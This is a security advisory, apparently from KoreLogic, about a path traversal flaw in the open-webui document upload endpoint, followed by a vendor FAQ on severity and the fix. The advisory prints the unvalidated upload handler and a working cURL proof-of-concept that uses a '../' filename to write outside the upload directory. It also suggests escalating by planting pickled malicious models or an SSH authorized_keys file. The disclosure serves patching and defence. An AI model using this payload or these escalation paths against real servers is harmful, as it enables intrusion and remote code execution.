CVE-2026-44566

CONFIDENTIAL

KL-CAN-2024-002

Vulnerability Details

4. High-level Summary

Attacker controlled files can be uploaded to arbitrary locations on the web server's filesystem by abusing a path traversal vulnerability.

11. Technical Analysis

When attaching files to a prompt by clicking the plus sign (+) on the left of the message input box when using the Open WebUI HTTP interface, the file is uploaded to a static upload directory.

The name of the file is derived from the original HTTP upload request and is not validated or sanitized. This allows for users to upload files with names containing dot-segments in the file path and traverse out of the intended uploads directory. Effectively, users can upload files anywhere on the filesystem the user running the web server has permission.

This can be visualized by examining the python code for the /rag/api/v1/doc API route:

@app.post("/doc")
def store_doc(
    collection_name: Optional[str] = Form(None),
    file: UploadFile = File(...),
    user=Depends(get_current_user),
):
    # "https://www.gutenberg.org/files/1727/1727-h/1727-h.htm"

    print(file.content_type)
    try:
        filename = file.filename
        file_path = f"{UPLOAD_DIR}/{filename}"
        contents = file.file.read()
        with open(file_path, "wb") as f:
            f.write(contents)
            f.close()

The file variable is a representation of the multipart form data contained within the HTTP POST request. The filename variable is derived from the uploaded file name and is not validated before writing the file contents to disk.

This can be used to upload malicious models. These models are often distributed as pickled python objects and can be leveraged to execute arbitrary python bytecode once deserialized. Alternatively, an attacker can leverage existing services, such as SSH, to upload an attacker controlled authorized_keys file to remotely connect to the machine.

12. Proof-of-Concept

Execute the following cURL command:

TARGET_URI='https://redacted.com'; JWT='redacted'; LOCAL_FILE='/tmp/file_to_upload.txt'\
curl -H "Authorization: Bearer $JWT" -F "file=$LOCAL_FILE;filename=../../../../../../../../../../tmp/pwned.txt" "$TARGET_URI/rag/api/v1/doc"

Verify the file pwned.txt exists in the /tmp/ directory on the machine hosting the web server:

ollama@webserver:~$ cat /tmp/pwned.txt 
korelogic
ollama@webserver:~$

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-44566 has a CVSS score of 7.3 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.1.124); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-44566? CVE-2026-44566 is a high-severity path traversal vulnerability in open-webui (pip), affecting versions <= 0.1.123. It is fixed in 0.1.124. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2026-44566? CVE-2026-44566 has a CVSS score of 7.3 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of open-webui are affected by CVE-2026-44566? open-webui (pip) versions <= 0.1.123 is affected.
4. Is there a fix for CVE-2026-44566? Yes. CVE-2026-44566 is fixed in 0.1.124. Upgrade to this version or later.
5. Is CVE-2026-44566 exploitable, and should I be worried? Whether CVE-2026-44566 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-44566 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-44566? Upgrade open-webui to 0.1.124 or later.